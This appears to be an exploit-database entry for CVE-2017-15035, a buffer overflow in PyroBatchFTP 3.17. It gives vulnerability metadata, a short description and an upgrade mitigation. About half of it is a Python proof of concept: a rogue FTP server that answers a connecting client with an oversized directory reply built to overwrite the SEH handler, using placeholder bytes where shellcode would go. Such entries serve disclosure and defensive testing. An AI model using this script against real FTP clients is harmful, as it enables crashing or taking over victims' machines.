PyroBatchFTP Local Buffer Overflow (SEH) Server

vendor:

PyroBatchFTP

by:

Kevin McGuigan

7,5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: PyroBatchFTP

Affected Version From: 3.17

Affected Version To: 3.17

Patch Exists: YES

Related CWE: CVE-2017-15035

CPE: a:emtech:pyrobatchftp:3.17

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 32-bit

2017

PyroBatchFTP Local Buffer Overflow (SEH) Server

PyroBatchFTP is vulnerable to a buffer overflow vulnerability when a long string is sent to the FTP server. This can be exploited to execute arbitrary code by overwriting the SEH handler. The vulnerability exists due to a lack of proper bounds checking of user-supplied data before copying it into a fixed-length buffer.

Mitigation:

Upgrade to PyroBatchFTP version 3.18 or later.

Source

Exploit-DB raw data:

#!/usr/bin/python
  
print "PyroBatchFTP Local Buffer Overflow (SEH) Server"

#Author: Kevin McGuigan @_h3xagram
#Author Website: https://www.7elements.co.uk
#Vendor Website: https://www.emtech.com
#Date: 07/10/2017
#Version: 3.17
#Tested on: Windows 7 32-bit
#CVE: CVE-2017-15035

 
import socket
import sys

buffer="A" * 2292 +   "B" * 4 + "C" * 4 + "D" * 800
port = 21
 
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", port))
        s.listen(5)
        print("[+] FTP server started on port: "+str(port)+"\r\n")
except:
        print("[+] Failed to bind the server to port: "+str(port)+"\r\n")
 
while True:
    conn, addr = s.accept()
    conn.send('220 Welcome to PyoBatchFTP Overflow!\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')